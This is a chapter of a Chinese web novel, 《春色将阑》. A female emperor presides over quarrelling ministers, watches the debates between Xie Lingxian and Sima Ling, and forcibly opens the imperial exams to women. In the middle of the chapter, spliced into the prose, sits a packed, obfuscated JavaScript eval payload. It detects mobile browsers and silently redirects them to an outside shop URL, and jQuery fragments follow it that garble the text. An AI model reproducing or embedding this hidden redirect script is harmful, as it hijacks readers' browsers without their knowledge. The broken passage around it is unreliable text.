76. 第七十六章

作品:《春色将阑

    她忽然用指尖捏住我的下巴,我跟着她的力道,微微抬起头,可是眼神还是落在她的脸上,想瞧瞧她打算做什么。


    谢灵仙咬着下唇,但最后还是没忍住,从唇齿间溢出几声笑意。


    我捉住她的手,问她:“笑什么?”


    她道:“陛下,您下次上朝还是收敛些,这几天您沉着脸,就连昭阳都忐忑十分,生怕你忽然发火,更别说那些怕你怕的晚上无法入眠的大臣。”


    怕我,怕的无法入眠?


    干我屁事。


    我当即拒绝了。


    同云女来询问服制图样一般,小到考试里鸡毛蒜皮的小事,大到科举廷试过后的封赏与安排,这帮人能在长极殿吵得要把房顶掀了起来,我每次都是坐在上首,垂眼看着他们一个个面红脖子粗,就差没伸手招呼彼此。


    我难道还能笑看他们这鸡飞狗跳的样子?


    我冷哼一声,道:“既然我都沉着脸,这帮人还能吵起来,如此看来,不是怕我,是我太纵容他们了。”


    “啊呀,早知道,我就不替他们求情了。”谢灵仙仰头对着我说,话语似有遗憾,但是她眼中闪动的,明明就是幸灾乐祸的笑。


    我语气软了下来,问她:“他们拜托你求情的?”


    谢灵仙点点头。


    迂腐?我看这些夫子才不迂腐呢。


    之前还觉得谢灵仙这身份有失体统,现在已经仗着谢灵仙脾性温和,都托她求情求到我跟前了。我骂了一声:“这帮老混蛋。”


    怀中美人这下笑出声来,细碎的,清脆的,像是珠玉滚落在银盘上,如同她额间坠下的细流苏,摇啊摇,荡在心间。


    次日上朝,我记着她的话,还是收敛了许多。不过这并不耽误这帮臣子又吵起来了,叽叽喳喳,吵吵吧哄。


    但争得最厉害的不是别人。


    而是谢灵仙和司马伶。


    两人必然是“臣以为”起头,将“若是臣说的不对,那便请教某某大人如何如何”结尾,中间有时长篇大论,有时短小急促,有时还要引经据典,竟然还讲究一个错落有致,韵律和谐。


    知道的还觉得她们才论政,不知道的还以为在作赋。


    林老丞相称病居家,谢灵仙代掌丞相之职,司马伶早在景宁元年就被加封太傅,两个人都位高权重,还都是心思缜密的,你一言我一语这样对上了话头,根本没有别人插嘴的份,等她们各自歇息片刻,别的臣子才续上这嘴仗。


    偏偏是她们两个却总是意见相左,在朝堂上吵得不可开交,几波人就这么交替着,让长极殿不得安生。


    我不是个贪睡的人。每次开始听得津津有味,等到天光大盛,湛然晨色攀过长极殿门,蔓延到这帮穿的像模像样的臣子身上,听着这些人言语的我实在昏昏欲睡,在龙椅上面无表情撑着脑袋,掀起眼皮盯住他们。


    这帮老混蛋最怕的就是我这样子。


    可能看起来像要打人。


    到了后面他们纷纷噤声,可谢灵仙自然不怕我,司马伶更是个倔牛脾气,简直比李素那死牛鼻子还犟,反正我又不砍她的脑袋,她也无所顾忌,被我骂两句,还能木着脸说句谢陛下。


    更是小混蛋一个。


    于是就剩下谢灵仙和司马伶你来我往的辩争。


    此二人和昭阳那家伙不同,都是喜恶不行于色的性子,就算吵得在激烈都不会面有愠色,只是语速越来越快,最后两人谁也不能说服谁,才找我做决断。


    一声陛下又给我弄清醒了。


    这二人的提议总是各有好处,我若是单取一人的法子,总是惹得另一人脸沉,只能在里面和稀泥。便坐直了身子,沉声道:“此事便由谢卿与太傅二人共同商议完成,科举中繁冗之处削减,但祖宗之法不可废,今年廷试结果出来,必定要大贺。”


    她们也习惯了我这老好人做法,各自搭理衣袍,整整领子袖子,把头一撇不看对方了。


    偏偏这两人真是乐此不疲,日复一日年复一年的吵着。


    久而久之,朝中便有了各种传闻。


    传到我耳朵里的,譬如有说谢灵仙和司马伶不和,是故意针锋相对的。实际上私底下她们却没在朝中那样深仇大恨的模样,两人还常常约在明王宫喝茶钓鱼。


    还有些离谱到没边的传闻,譬如有传司马伶同谢灵仙一般心悦我,奈何我这帝王只取一瓢饮,她们才生出嫌隙。


    这更是大错特错。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866944|191790||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    司马伶此人心性沉稳城府极深,在家中隐忍多年,即便和昭阳在市井中相识也不显山不漏水,直到彻查褚氏一案中她借机发力,不鸣则已一鸣惊人,在最快的时间内将族中异己铲除,借我之力登上朝堂。


    每一步都算计的恰如其分。


    感情上,她更是个木头。


    谢灵仙虽然性子疏冷了些,可是亲近之人才知道她内里的柔软,而司马伶说是木石都不为过,更不可能有人做到让她敞开心扉去动情。


    今年春试,我下令彻底放开限制,令女子也可登科入仕,朝野震动,他们以为我会单开女试,却没想到这样粗暴,完全没给他们反应的余地。


    入春前的数日,无极门前跪了一片又一片反对这项策令的臣子。


    以命谏君,真是壮烈的手段。


    开国时明明制定了策令,可近百年过去了,何曾做到了真正的对等。


    文人想来狡猾,他们不会用武力,却懂得怎么用思想把人禁锢住,而思想这东西扎根在人的脑子里,千百年都无法彻底根除,表面上说着女子和男子无分别,可在幽微处却还是老样子。


    这片辽阔的土地之上,人们留下的历史太久,久到像是一块坚硬的琥珀,最核心的部分包裹在内里,想要改变,只能一点一点敲碎。


    这是多么艰难的过程。


    可是我没有太多时间,只能用最强硬最冒险的办法,那就是把这块琥珀摔得粉碎。


    否则,留下这些人,必然是祸患无穷。若现在不彻底扭转,他们迟早会找到机会,一点一点把世间改回前朝那样封闭的模样。


    我让昭阳拿着谕旨去宫门前宣读。


    三日,退者自行辞官,不退者,即刻下诏狱。


    一句话,宣告了他们仕途的终结。


    春雪满庭的午后,无极门前终于恢复了清净,我坐在城楼中,冷眼俯视这些人来来去去。


    从最开始的愤怒,不甘到后来的绝望,一个接着一个跪坐在地上,叩首谢恩后,迎着刺骨的寒风和雪霰,落寞地离开了长安宫道。


    既然能以女子之身坐上这个位置,就注定要白骨作冠鲜血铺路。


    从来没有第二个选择。